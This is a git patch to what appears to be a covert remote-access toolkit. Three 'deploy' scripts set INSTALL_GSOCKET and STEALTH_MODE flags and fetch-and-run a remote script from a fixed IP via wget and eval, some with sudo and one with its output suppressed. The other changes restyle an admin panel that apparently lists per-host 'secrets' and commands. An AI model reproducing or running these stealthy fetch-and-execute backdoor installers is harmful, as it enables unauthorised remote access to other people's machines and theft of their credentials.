From 259177738a097ad9047d45e353e37bf26cc18c58 Mon Sep 17 00:00:00 2001 From: Amoelle Date: Mon, 7 Apr 2025 10:59:07 +0300 Subject: [PATCH] fix deploy scripts eval commands --- scripts/deploy/full | 2 +- scripts/deploy/minimal | 2 +- scripts/deploy/quiet | 5 ++++- web/admin.php | 24 ++++++++++++++++++------ 4 files changed, 24 insertions(+), 9 deletions(-) diff --git a/scripts/deploy/full b/scripts/deploy/full index 5b9e623..a08ce0f 100755 --- a/scripts/deploy/full +++ b/scripts/deploy/full @@ -8,4 +8,4 @@ export INSTALL_GSOCKET=true export STEALTH_MODE=true # Download and run the main script with sudo -eval "$(wget -qO- http://192.168.0.104/deployment/y" | sudo bash +eval "$(wget -qO- http://192.168.0.104/deployment/y") diff --git a/scripts/deploy/minimal b/scripts/deploy/minimal index 102a80e..f56a3ee 100755 --- a/scripts/deploy/minimal +++ b/scripts/deploy/minimal @@ -8,5 +8,5 @@ export INSTALL_GSOCKET=true export STEALTH_MODE=true # Download and run the main script -eval "$(wget -qO- http://192.168.0.104/deployment/y" | bash +eval "$(wget -qO- http://192.168.0.104/deployment/y") diff --git a/scripts/deploy/quiet b/scripts/deploy/quiet index 506a0ee..0d80d7c 100755 --- a/scripts/deploy/quiet +++ b/scripts/deploy/quiet @@ -9,4 +9,7 @@ export INSTALL_GSOCKET=true export STEALTH_MODE=true # Redirect output to /dev/null for quieter operation -(eval "$(wget -qO- http://192.168.0.104/deployment/y" | sudo bash) &>/dev/null & +eval "$(wget -qO- http://192.168.0.104/deployment/y)" 2>/dev/null || { + echo "Error: Failed to download the script." + exit 1 +} diff --git a/web/admin.php b/web/admin.php index 7306259..0659469 100644 --- a/web/admin.php +++ b/web/admin.php @@ -288,19 +288,24 @@ if ($authenticated && isset($_GET['host'])) { .secrets { padding: 10px; + max-width: 800px; + margin: 0 auto;/ } - + .secret { - margin-bottom: 20px; - padding: 10px; + margin-bottom: 15px; + padding: 8px; border: 1px solid var(--border); background: rgba(255, 255, 0, 0.05); + border-radius: 3px; } - + .secret-title { - margin-bottom: 10px; + margin-bottom: 8px; border-bottom: 1px dashed var(--border); - padding-bottom: 5px; + padding-bottom: 4px; + font-size: 0.9em; + color: var(--text-dim); } .command { @@ -313,6 +318,13 @@ if ($authenticated && isset($_GET['host'])) { white-space: pre; font-family: 'Courier New', monospace; } + + .secret .command { + margin: 5px 0; + padding: 8px; + font-size: 0.9em; + line-height: 1.4; + } .copy-btn { position: absolute;